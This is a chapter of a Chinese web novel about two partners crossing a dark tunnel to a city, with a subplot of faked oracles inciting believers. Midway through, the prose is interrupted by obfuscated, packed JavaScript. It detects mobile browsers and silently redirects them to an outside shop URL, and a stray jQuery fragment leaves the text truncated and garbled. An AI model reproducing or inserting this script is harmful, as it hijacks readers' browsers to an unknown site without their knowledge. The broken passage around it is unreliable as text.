临川要再回城区一趟的消息对安昱来说并不意外,他们目前只是和城区里的同盟者建立了联系,而之后的计划总是需要人不间断的往返沟通才能成形。现在双方的信任还没有完全建立,这座沟通的桥梁只能暂时由看上去更加中立的临川担任。
“走吧。”安昱叫来阿隼简单吩咐了几句,安排了接下来三天的训练科目,然后非常自然而又快步得走过临川身边,也没有多余的解释,甚至在临川表现出疑惑的时候同样回给了临川一个不解的眼神:“怎么,不是要赶时间去城区敲定细节吗?不是现在出发吗?”
临川小跑几步追上安昱,身后的队员们已经在阿隼的指挥下开始一对一训练。临川快步和安昱并肩走着,和安昱解释,“只是送个信而已,我去就行了。你留在沙漠里训练吧,我知道你担心他们在战场上会出……”
“你一个人在隧道里也会。”安昱突然之间停下脚步,他回头看向跟在自己身后的临川,语气中带着些愠怒,“临川,你是不是忘了你在隧道里狼狈的样子了?一周多了,你对漆黑环境有多恐惧你自己不知道吗?”
“你在里面能感知到什么?是能确认自己走得时间,还是能知道自己走得方向?还是你能够在破碎的车厢和满地的骸骨里保持住自己的精神稳定?”
“你一个人进去?你一个人进去送死吗?”
临川有些手足无措地看向安昱,他徒劳地张开嘴想说些什么,但在安昱如同急风骤雨地话语中,他的一切辩解和挣扎都显得那么苍白。
临川不得不承认,他现在需要安昱,他一个人无法通过那段漆黑到没有时间只有压抑的隧道。他真的无法一个人面对。
安昱坐上了前往隧道的越野车,一路上他都保持着沉默,托着脑袋远眺沙漠中残留的人类痕迹。被掩埋一半的房屋,勉强从沙漠中探出来的金属框架,还有被风沙摧毁的建筑,总之,沙漠中的一切对于安昱来说都比身边惹怒自己的临川要有趣的多。
有时候爱人之间的赌气就是那么的幼稚和直白,临川驾驶着越野飞驰在沙漠上,好几次想要向安昱解释自己当时只是没有想太多,想要和安昱再三保证以后不会再犯;可安昱盯着窗外飞速后退的风景,选择了最直接的抗拒交流。
直到二人来到隧道口前,临川小心地把越野车开到隐蔽的地方,准备进一步把车子藏好。而安昱站在一边负责警戒,他看着临川在车周围忙前忙后,还没有彻底消气得安昱并不打算帮手。
看到临川隐藏工作基本完成,安昱甚至没等临川的确认,就大步流星地往隧道口走去。而临川也只能粗略地检查完隐藏的情况,火速从车上拿了些食物就匆匆地跑步去追上安昱。
漆黑的隧道和他们上次来得时候别无二致,看起来这一周多的时间里,没有掮客和雇主在这条隧道里发生过任何的交易。
尽管安昱一直认为智者继承了部分丧尸的特征,比如不易死亡,但从隧道里的情况来看,通过隧道和沙漠进行交易的智者也许在叶灵他们不慎导致的爆炸中受到了不小的伤害。
这对人类来说算得上是一个好消息——这证明了智者并非是不可战胜的,祂们也有弱点。
从进入隧道开始,漆黑而又压抑的环境让临川开始神经紧绷,人类对黑暗环境的本能恐惧或许从更早的远古时代就被写进了基因里,即使他已经不是第一次进入地下隧道,但是生理性的恐惧加上曾经留下的心理阴影,心悸和晕眩几乎是无可避免的。
临川下意识地想要装作没事的样子,他极力地控制着自己颤抖地双手,试图让自己快速地冷静下来。
“还逞强。”没等临川从病态的状态中恢复过来,安昱已经伸手攥住了他发颤的手腕,连带着接过临川手上忽明忽暗的火把,几乎是半拖半拉地带着临川走在荒废的隧道里。
“我没事……真的,我,我可能就是有点……”临川踉踉跄跄地跟在安昱的身后,手腕被安昱紧紧地握住,他徒劳的想要解释,但安昱冷漠的表情几乎直白地说明了,临川的一切狡辩对他来说都是没有意义的,甚至安昱还在气头上。
于是临川终于回到了沉默的状态里,他安安静静地跟着安昱往前走,一次又一次地深呼吸着让自己放松下来。
隧道里的一切还在叩击着他的心灵,梦境中出现的场景时不时地还会闪过他的脑海,但是前面总有那么一团跳跃着的橘红色的火焰在指引着临川从漆黑的环境里走出来。
走到较为平静的岔路口,安昱终于停下了脚步,像是在确认路线一样在隧道里停住左右张望。虽然安昱依旧保持着沉默,还装作对临川视而不见的样子,不过临川知道这是安昱刻意留给自己休息的时间。
临川反握住安昱的手,嘴角微微上扬着,借着跳跃的火焰,临川可以看清这段路很干净,没有破碎的车厢,也没有堆叠的骸骨,枕木安安静静地躺在地上,没有血迹也没有烧毁。
这一切都说明了这里是安昱特别选择过得地方,他刻意地避开了所有会让临川不适和恐惧的地方。
可即使是这样,安昱的手腕还是可以感觉到临川微微地颤抖。
安昱抿着嘴一眼不发,他还是有些生气的,从临川说出要一个人去城区的时候他就很不爽了,而现在临川的表现也说明了他的担忧并不是杞人忧天。如果自己没有跟上来,他甚至想象不出临川能不能在漆黑的隧道会有怎么样的结局。更让安昱气愤得是直到现在临川都还在逞强,他明白临川是联系城区和沙漠最好的桥梁,但哪怕临川能主动说出让他一起同行呢?
安昱自觉自己现在的情绪并不是很正常,但他也没有想要那么简单放过临川的意思。从隧道到城区的路线,他烂熟于心,相较于在去程里逐渐被黑暗环境影响和回程还有些昏沉的临川,全程保持清醒的安昱现在并不需要确认路线。他知道在前面三百米左右的地方会有一节断裂的车厢,由于车厢阻断了隧道,他们需要翻上站台去往另一侧的隧道才能继续往前走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782357|210126||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看,明明更加熟悉情况的自己,又凭什么不能成为临川的依靠?
“谢谢小安昱。”安昱正兀自气恼,而临川却把脑袋靠在了安昱的肩膀上。临川的脸色算不上好看,不过在红色的火光下,即使他现在脸色惨白也能被映照得带上些健康的红润,“是我想着早去早回,没想到还差点拖累你……”
“我以为我应该是没事的,这几个晚上虽然有时候还会做梦,但我想着或许直面恐惧就不会再,再被梦魇困扰了。就像我遇见你的时候一样。”
安昱有些嫌弃地推了推临川的脑袋,颇带些不满的意味:“别拿甜言蜜语糊弄我,再怎么直面恐惧也不是你主动寻死的理由!”
“是是是,是我的不对。”临川厚着脸皮继续靠在安昱的身边,嘴唇几乎贴在安昱裸露在外的脖子上,呼出得每一口气都恰到好处的落在安昱身上。明明知道临川是故意的,可安昱偏偏又被这样的临川吃得死死的。
“快走了,我们还赶时间。”安昱唰得站起身,火把映照下,安昱的脸通红得像是烧红的铁片一样。不过即使是这样,安昱还是一言不发地拽着临川的手腕,用强硬的动作带着临川往城区赶去。哪怕安昱记住了完整的路线,也能找到较为安全和平静的地方让临川休息,但是对于临川来说,最好的休息还是早早地离开隧道,迎接阳光的洗礼。
而当安昱和临川在地下隧道里赶路的时候,城区的教堂里也同样迎来了一位客人。
“叶灵!你知不知道你这样做很危险?”沈逸看着眼前站成一排的叶灵、吴芜和王柒三个人,觉得自己真的是眼前一黑又一黑:
临川刚回沙漠才几天的功夫,这三个人唯恐天下不乱似的先是让孩子们散播“遇见神明”的故事,让“神明降世”的故事像是长了翅膀一样传遍了附近的人家,然后又是伪造神谕,话里话外将苦难归咎于神秘莫测的研究所——
“‘烈火灼烧阴霾,灰烬淹没神途’,这都是你们谁想出来得?”当沈逸看到这句谶言的时候觉得脑袋嗡嗡得,这几年来城区只有一个地方发生过火灾,那就是研究所。根本不需要叶灵她们再去推波助澜什么,现在研究所的门口已经围满了狂热的信徒。
“这样不是很好吗?”叶灵顶着沈逸无奈而又揪心的目光,她并不觉得自己利用教堂、利用信仰做出得这些谋划有什么错。现在城区里很多人的目光都聚焦在研究所里,只要继续煽动下去,信徒们冲破研究所是迟早的事情。这样一个草菅人命的地方,能够成为击破智者的第一站,也算得上是死得其所。
“但我们都还没有——”
沈逸的话还没说完,教堂偏房的门突然被敲响,他迅速的禁了声,咽下了“准备好”三个字。
“您好。”偏房外,一道温润的声音响起,嗓音里似乎还带着些焦急和乞求,“我的母亲生病了,她病得很重,只有神明可以救她。我听孩子们说神明曾经降临在这里,求求您,求求您让我,让我在这里祷告一次吧!”